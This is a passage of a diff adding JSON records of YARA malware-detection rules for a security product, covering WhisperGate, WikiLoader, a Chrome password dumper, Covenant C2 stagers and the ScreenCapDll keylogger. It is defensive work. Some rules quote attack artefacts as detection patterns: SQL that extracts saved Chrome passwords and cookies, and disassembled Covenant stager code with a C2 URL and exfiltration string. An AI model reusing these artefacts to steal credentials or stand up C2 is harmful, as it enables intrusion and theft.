0c aa 05\n            df d5 68 24 4b 0e f6 42 a8 c8\n            1d d9 13 bb 2f b7 6f 84 34 b4\n            e0 11 1d 1b cd 57 5d f2 54 f6\n            cd ad 17 f6 16 63 9a 3e af 66\n            44 c0 4a 9e e2 e1 3e c2\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 1MB and 2 of ($s*) and $asm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "whispergate_stage3"
+  ],
+  "rule_creation_date": "2022-03-07",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.WhisperGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wiki_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590296Z",
+  "creation_date": "2026-03-23T11:46:25.590298Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590303Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/Cryptolaemus1/status/1785401749022335359\nhttps://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1055/012/\nhttps://attack.mitre.org/techniques/T1497/001/"
+  ],
+  "name": "wiki_loader.yar",
+  "content": "rule wiki_loader {\n    meta:\n        title = \"WikiLoader\"\n        id = \"e6fda6d5-d9e4-4d1f-94d5-9af140e84d34\"\n        description = \"Detects WikiLoader, a sophisticated Windows-based downloader malware.\\nWikiLoader is designed to install secondary malware payloads on compromised systems.\\nIt employs advanced evasion techniques, including custom direct and indirect syscalls, string obfuscation, and Control Flow Guard (CFG) manipulation, to avoid detection and analysis.\"\n        references = \"https://twitter.com/Cryptolaemus1/status/1785401749022335359\\nhttps://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1055/012/\\nhttps://attack.mitre.org/techniques/T1497/001/\"\n        date = \"2024-05-02\"\n        modified = \"2026-02-11\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1055.012;attack.t1497.001;attack.execution;attack.t1059.005;attack.persistence;attack.t1547\"\n        classification = \"Windows.Loader.WikiLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f1a49cea454bac3e78ac765b247b65d00c896d84de2028892b00d4310453c665\n        // 880ab4ff495259f9f9ed395da29c009494c8243a987b55c6f08ed3bca6a76849\n\n        // WikiLoader-specific stack string obfuscation (variant 1)\n        $op_1 = {\n            B0 ??     // mov     al, 18h\n            04 ??     // add     al, 2Bh ; '+'\n            88 07     // mov     [rdi], al\n            B0 ??     // mov     al, 1Dh\n            04 ??     // add     al, 55h ; 'U'\n            88 47 01  // mov     [rdi+1], al\n            B0 ??     // mov     al, 0Eh\n            04 ??     // add     al, 57h ; 'W'\n            88 47 02  // mov     [rdi+2], al\n            B0 ??     // mov     al, 2Ah ; '*'\n            04 ??     // add     al, 37h ; '7'\n            88 47 03  // mov     [rdi+3], al\n            B0 ??     // mov     al, 47h ; 'G'\n            04 ??     // add     al, 2Dh ; '-'\n            88 47 04  // mov     [rdi+4], al\n        }\n\n        // WikiLoader-specific stack string obfuscation (variant 2)\n        $op_2 = {\n            88 07                      // mov     [rdi], al\n            (B0 ?? | B0 ?? FE C0 )     // mov     al, 69h ; 'i'\n            88 47 01                   // mov     [rdi+1], al\n            (B0 ?? | B0 ?? FE C0 )     // mov     al, 6Eh ; 'n'\n            88 47 02                   // mov     [rdi+2], al\n            (B0 ?? | B0 ?? FE C0 )     // mov     al, 67h ; 'g'\n            88 47 03                   // mov     [rdi+3], al\n            (B0 ?? | B0 ?? FE C0 )     // mov     al, 6Dh ; 'm'\n            88 47 04                   // mov     [rdi+4], al\n        }\n\n        // Exclusions to limit false positive\n        // xul.dll (Firefox Nightly):\n        // 6635469812f56555b3c0a01338a7c8460a7b849057bb1c4ec5c3309472872d3c\n        $filter_mozilla_1 = \"xul.pdb\" ascii fullword\n        $filter_mozilla_2 = \"@mozilla.org/crashservice;1\" ascii fullword\n        $filter_mozilla_3 = \"MOZ_CRASH(Can't allocate mozilla::ReentrantMonitor)\" ascii fullword\n\n    condition:\n        (for any of ($op_*) : ( # > 1 )) and not\n        (\n            all of ($filter_mozilla_*) or\n            filepath matches /.*\\\\Firefox Nightly\\\\firefox.exe/\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "wiki_loader"
+  ],
+  "rule_creation_date": "2024-05-02",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.WikiLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1497.001",
+    "attack.t1059.005",
+    "attack.t1547",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_hacktool_chrome_passwords_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585164Z",
+  "creation_date": "2026-03-23T11:46:25.585166Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585172Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf\nhttps://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/T1555.003.md#atomic-test-1---run-chrome-password-collector"
+  ],
+  "name": "windows_hacktool_chrome_passwords.yar",
+  "content": "rule chrome_passwords {\n    meta:\n        title = \"ChromePassword HackTool\"\n        id = \"c3cb0bba-41eb-4127-bb18-d2039893d922\"\n        description = \"Detects Chrome passwords dumping tool.\\nThis tool is designed to extract sensitive information such as passwords stored in the Chrome browser. The tool accesses specific files in the Chrome user data directory, typically located in the AppData folder, to retrieve credentials. It queries the Chrome SQLite database using SQL commands to extract login credentials and encrypted cookies.\"\n        references = \"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf\\nhttps://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/T1555.003.md#atomic-test-1---run-chrome-password-collector\"\n        date = \"2022-05-05\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.HackTool.ChromePassword\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 3247d21bc9bbbd8df670a82e24be754a2d58d2511ee64aff0a1e3756cd288236\n\n        $s1 = \"SELECT action_url, username_value, password_value FROM logins\" fullword ascii\n        $s2 = \"SELECT HOST_KEY,path,encrypted_value from cookies\" fullword ascii\n        $s3 = \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\\" fullword ascii\n        $s4 = \"Copying db ...\" fullword ascii\n        $s5 = \"passwordsDB\" fullword ascii\n        $s6 = \"DB connection closed properly\" fullword ascii\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 1MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "chrome_passwords"
+  ],
+  "rule_creation_date": "2022-05-05",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.ChromePassword"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_hacktool_covenant_brute_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584773Z",
+  "creation_date": "2026-03-23T11:46:25.584775Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584780Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1071/001/\nhttps://github.com/cobbr/Covenant"
+  ],
+  "name": "windows_hacktool_covenant_brute.yar",
+  "content": "rule windows_hacktool_covenant_brute {\n    meta:\n        title = \"Covenant Brute Binary Launcher\"\n        id = \"166fc9b1-7457-4f91-bb9c-a57faddad7a2\"\n        description = \"Detects the Covenant Brute Binary Launcher.\\nCovenant is a .NET command and control framework that aims to highlight the attack surface of .NET. This rule detects the execution of its brute binary launcher, which is used to execute staged payloads. The framework is designed to test the security posture by exploiting various .NET vulnerabilities.\\nIt is recommended to isolate the affected host and investigate network traffic for potential command and control communication.\"\n        references = \"https://attack.mitre.org/techniques/T1071/001/\\nhttps://github.com/cobbr/Covenant\"\n        date = \"2021-11-17\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.HackTool.Covenant\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $strings1 = \"ExecuteStager\" ascii\n        $strings2 = \"GruntStager\" ascii\n        $strings3 = \"{{\\\"GUID\\\":\\\"{0}\\\",\\\"Type\\\":{1},\\\"Meta\\\":\\\"{2}\\\",\\\"IV\\\":\\\"{3}\\\",\\\"EncryptedMessage\\\":\\\"{4}\\\",\\\"HMAC\\\":\\\"{5}\\\"}}\" wide\n        $strings4 = \"(?'group0'.*)\" wide\n\n    condition:\n        uint16(0) == 0x5a4d and filesize > 20MB and filesize < 50MB and (\n            (all of ($strings*))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "windows_hacktool_covenant_brute"
+  ],
+  "rule_creation_date": "2021-11-17",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Covenant"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_hacktool_covenant_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563474Z",
+  "creation_date": "2026-03-23T11:46:25.563477Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563486Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1071/001/\nhttps://github.com/cobbr/Covenant"
+  ],
+  "name": "windows_hacktool_covenant.yar",
+  "content": "rule windows_hacktool_covenant {\n    meta:\n        title = \"Covenant Binary Launcher\"\n        id = \"67e603f6-1e89-4df8-9f32-bb6b966b472c\"\n        description = \"Detects the Covenant Binary Launcher.\\nCovenant is a .NET command and control framework used for red teaming and penetration testing. This rule identifies the framework's activity by detecting specific .NET executables with known C2-related strings and obfuscated communication patterns.\\nIt is recommended to investigate network traffic for potential C2 communication.\"\n        references = \"https://attack.mitre.org/techniques/T1071/001/\\nhttps://github.com/cobbr/Covenant\"\n        date = \"2021-11-17\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.HackTool.Covenant\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $strings1 = \"ExecuteStager\" ascii\n        $strings2 = \"GruntStager\" ascii\n        $strings3 = \"{{\\\"GUID\\\":\\\"{0}\\\",\\\"Type\\\":{1},\\\"Meta\\\":\\\"{2}\\\",\\\"IV\\\":\\\"{3}\\\",\\\"EncryptedMessage\\\":\\\"{4}\\\",\\\"HMAC\\\":\\\"{5}\\\"}}\" wide\n        $strings4 = \"(?'group0'.*)\" wide\n\n        // function ExecuteStager()\n\n        /*\n            0x00000274 730D000006   IL_0000: newobj    instance void GruntStager.GruntStager/'<>c__DisplayClass3_0'::.ctor()\n            0x00000279 0A           IL_0005: stloc.0\n            0x0000027A 7201000070   IL_0006: ldstr     \"http://192.168.56.101:8080\"\n            0x0000027F 17           IL_000B: ldc.i4.1\n            0x00000280 8D1A000001   IL_000C: newarr    [mscorlib]System.Char\n            0x00000285 25           IL_0011: dup\n            0x00000286 16           IL_0012: ldc.i4.0\n            0x00000287 1F2C         IL_0013: ldc.i4.s  44\n            0x00000289 9D           IL_0015: stelem.i2\n            0x0000028A 280700000A   IL_0016: call      instance string[] [mscorlib]System.String::Split(char[])\n            0x0000028F 280100002B   IL_001B: call      class [mscorlib]System.Collections.Generic.List`1<!!0> [System.Core]System.Linq.Enumerable::ToList<string>(class [mscorlib]System.Collections.Generic.IEnumerable`1<!!0>)\n            0x00000294 0B           IL_0020: stloc.1\n            0x00000295 06           IL_0021: ldloc.0\n            0x00000296 7237000070   IL_0022: ldstr     \"\"\n            0x0000029B 7D03000004   IL_0027: stfld     string GruntStager.GruntStager/'<>c__DisplayClass3_0'::CovenantCertHash\n            0x000002A0 7239000070   IL_002C: ldstr     \"VXNlci1BZ2VudA==,Q29va2ll\"\n            0x000002A5 17           IL_0031: ldc.i4.1\n            0x000002A6 8D1A000001   IL_0032: newarr    [mscorlib]System.Char\n            0x000002AB 25           IL_0037: dup\n            0x000002AC 16           IL_0038: ldc.i4.0\n            0x000002AD 1F2C         IL_0039: ldc.i4.s  44\n            0x000002AF 9D           IL_003B: stelem.i2\n            0x000002B0 280700000A   IL_003C: call      instance string[] [mscorlib]System.String::Split(char[])\n            0x000002B5 280100002B   IL_0041: call      class [mscorlib]System.Collections.Generic.List`1<!!0> [System.Core]System.Linq.Enumerable::ToList<string>(class [mscorlib]System.Collections.Generic.IEnumerable`1<!!0>)\n            0x000002BA 7E06000004   IL_0046: ldsfld    class [System.Core]System.Func`2<string, string> GruntStager.GruntStager/'<>c'::'<>9__3_0'\n            0x000002BF 25           IL_004B: dup\n            0x000002C0 2D17         IL_004C: brtrue.s  IL_0065\n            0x000002C2 26           IL_004E: pop\n        */\n        $msil_http = {\n            73 [4]  // newobj       instance void GruntStager.GruntStager/'<>c__DisplayClass3_0'::.ctor()\n            0A      // stloc.0\n            72 [4]  // ldstr        \"http://192.168.56.101:8080\"\n            17      // ldc.i4.1\n            8D [4]  // newarr       [mscorlib]System.Char\n            25      // dup\n            16      // ldc.i4.0\n            1F 2C   // ldc.i4.s     44\n            9D      // stelem.i2\n            28 [4]  // call         instance string[] [mscorlib]System.String::Split(char[])\n            28 [4]  // call         class [mscorlib]System.Collections.Generic.List`1<!!0> [System.Core]System.Linq.Enumerable::ToList<string>(class [mscorlib]System.Collections.Generic.IEnumerable`1<!!0>)\n            0B      // stloc.1\n            06      // ldloc.0\n            72 [4]  // ldstr        \"\"\n            7D [4]  // stfld        string GruntStager.GruntStager/'<>c__DisplayClass3_0'::CovenantCertHash\n            72 [4]  // ldstr        \"VXNlci1BZ2VudA==,Q29va2ll\"\n            17      // ldc.i4.1\n            8D [4]  // newarr       [mscorlib]System.Char\n            25      // dup\n            16      // ldc.i4.0\n            1F 2C   // ldc.i4.s     44\n            9D      // stelem.i2\n            28 [4]  // call         instance string[] [mscorlib]System.String::Split(char[])\n            28 [4]  // call         class [mscorlib]System.Collections.Generic.List`1<!!0> [System.Core]System.Linq.Enumerable::ToList<string>(class [mscorlib]System.Collections.Generic.IEnumerable`1<!!0>)\n            7E [4]  // ldsfld\n            25      // dup\n            2D 17   // brtrue.s\n            26      // pop\n        }\n\n        /*\n            0x00000274 7201000070   IL_0000: ldstr     \"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73\"\n            0x00000279 280600000A   IL_0005: call      string [mscorlib]System.Environment::get_NewLine()\n            0x0000027E 72B2000070   IL_000A: ldstr     \"\\n\"\n            0x00000283 280700000A   IL_000F: call      instance string [mscorlib]System.String::Replace(string, string)\n            0x00000288 0A           IL_0014: stloc.0\n            0x00000289 72B6000070   IL_0015: ldstr     \"<html>\\n    <head>\\n        <title>Hello World!</title>\\n    </head>\\n    <body>\\n        <p>Hello World!</p>\\n        // Hello World! {0}\\n    </body>\\n</html>\"\n            0x0000028E 280600000A   IL_001A: call      string [mscorlib]System.Environment::get_NewLine()\n            0x00000293 72B2000070   IL_001F: ldstr     \"\\n\"\n            0x00000298 280700000A   IL_0024: call      instance string [mscorlib]System.String::Replace(string, string)\n            0x0000029D 0B           IL_0029: stloc.1\n            0x0000029E 72E9010070   IL_002A: ldstr     \"gruntsvc\"\n            0x000002A3 0C           IL_002F: stloc.2\n            0x000002A4 72FB010070   IL_0030: ldstr     \"382f94aac1\"\n            0x000002A9 0D           IL_0035: stloc.3\n            0x000002AA 280800000A   IL_0036: call      valuetype [mscorlib]System.Guid [mscorlib]System.Guid::NewGuid()\n            0x000002AF 1322         IL_003B: stloc.s   V_34\n            0x000002B1 1222         IL_003D: ldloca.s  V_34\n            0x000002B3 FE160C000001 IL_003F: constrained. [mscorlib]System.Guid\n            0x000002B9 6F0900000A   IL_0045: callvirt  instance string [mscorlib]System.Object::ToString()\n            0x000002BE 7211020070   IL_004A: ldstr     \"-\"\n            0x000002C3 7215020070   IL_004F: ldstr     \"\"\n            0x000002C8 6F0700000A   IL_0054: callvirt  instance string [mscorlib]System.String::Replace(string, string)\n            0x000002CD 16           IL_0059: ldc.i4.0\n            0x000002CE 1F0A         IL_005A: ldc.i4.s  10\n            0x000002D0 6F0A00000A   IL_005C: callvirt  instance string [mscorlib]System.String::Substring(int32, int32)\n            0x000002D5 1304         IL_0061: stloc.s   V_4\n            0x000002D7 7217020070   IL_0063: ldstr     \"8QQIxBwir7uLNN9P4V7k890bUL9QukjzVSIA+8IvBEY=\"\n            0x000002DC 280B00000A   IL_0068: call      uint8[] [mscorlib]System.Convert::FromBase64String(string)\n            0x000002E1 1305         IL_006D: stloc.s   V_5\n        */\n        $msil_smb = {\n            72 [4]  // ldstr        \"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73\"\n            28 [4]  // call         string [mscorlib]System.Environment::get_NewLine()\n            72 [4]  // ldstr        \"\\n\"\n            28 [4]  // call         instance string [mscorlib]System.String::Replace(string, string)\n            0A      // stloc.0\n            72 [4]  // ldstr        \"<html>\\n    <head>\\n        <title>Hello World!</title>\\n    </head>\\n    <body>\\n        <p>Hello World!</p>\\n        // Hello World! {0}\\n    </body>\\n</html>\"\n            28 [4]  // call         string [mscorlib]System.Environment::get_NewLine()\n            72 [4]  // ldstr        \"\\n\"\n            28 [4]  // call         instance string [mscorlib]System.String::Replace(string, string)\n            0B      // stloc.1\n            72 [4]  // ldstr        \"gruntsvc\"\n            0C      // stloc.2\n            72 [4]  // ldstr        \"382f94aac1\"\n            0D      // stloc.3\n            28 [4]  // call         valuetype [mscorlib]System.Guid [mscorlib]System.Guid::NewGuid()\n            13 22   // stloc.s      V_34\n            12 22   // ldloca.s     V_34\n            FE [5]  // constrained. [mscorlib]System.Guid\n            6F [4]  // callvirt     instance string [mscorlib]System.Object::ToString()\n            72 [4]  // ldstr        \"-\"\n            72 [4]  // ldstr        \"\"\n            6F [4]  // callvirt     instance string [mscorlib]System.String::Replace(string, string)\n            16      // ldc.i4.0\n            1F 0A   // ldc.i4.s     10\n            6F [4]  // callvirt     instance string [mscorlib]System.String::Substring(int32, int32)\n            13 04   // stloc.s      V_4\n            72 [4]  // ldstr        \"8QQIxBwir7uLNN9P4V7k890bUL9QukjzVSIA+8IvBEY=\"\n            28 [4]  // call         uint8[] [mscorlib]System.Convert::FromBase64String(string)\n            13 05   // stloc.s      V_5\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 50KB and (\n            (all of ($strings*)) or ($msil_http) or ($msil_smb)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "windows_hacktool_covenant"
+  ],
+  "rule_creation_date": "2021-11-17",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Covenant"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_keylogger_screencapdll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583388Z",
+  "creation_date": "2026-03-23T11:46:25.583391Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583398Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/"
+  ],
+  "name": "windows_keylogger_screencapdll.yar",
+  "content": "rule windows_keylogger_screencapdll {\n    meta:\n        title = \"ScreenCapDll Keylogger and Screen Recorder\"\n        id = \"5017f379-68a3-41a1-9d58-223b6795170c\"\n        description = \"Detects the ScreenCapDll keylogger and screen recorder.\\nScreenCapDll is a keylogging and screen recording malware associated with the WIP19 threat group.\\nThis malware is known for its ability to capture keystrokes and record screen activity, which can be used for unauthorized access and espionage.\\nWIP19 is a Chinese-speaking advanced persistent threat (APT) group that targets IT service providers and telecommunication companies. The group is known for using signed malware to maintain persistence and carry out espionage activities.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\"\n        date = \"2022-11-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1056.001\"\n        classification = \"Windows.Keylogger.ScreenCapDLL\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 421b71ac924938e9b47291f38233d9e4b8116c1f4ec8db523d229535c8c12212\n        // 4d36c9713955062e870b29aadeee7a3e9f064041e4a74e349ce58e3937c7526e\n        // 2511271a0ec23acb028ec678fcf301ac4befa14c79daf308919082569e68acf5\n        // 72353ee98cd3926d8f14d5b7118b7bb0465f72ca9e3d28397a1bcf2cb0fc3edb\n\n        $dll_name_1 = \"ScreenCapDll_x64.dll\" ascii\n        $dll_name_2 = \"ScreenCapDll.dll\" ascii\n\n        $archive_names_1 = \"%s\\\\%s_%d_%d_%d_%d_%d_%d.AVI\" ascii\n        $archive_names_2 = \"%s\\\\%s_%d_%d_%d_%d_%d_%d.RAR\" ascii\n        $archive_names_3 = \"%s a -hp%s -m5 \\\"%s\\\" \\\"%s\" ascii\n        $archive_names_4 = \"%s\\\\%s_%04d%02d%02d.ax\" ascii\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            1 of ($dll_name_*) or 3 of ($archive_names_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "windows_keylogger_screencapdll"
+  ],
+  "rule_creation_date": "2022-11-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Keylogger.ScreenCapDLL"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-windows_malware_loader_termite_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577917Z",
+  "creation_date": "2026-03-23T11:46:25.577919Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577924Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
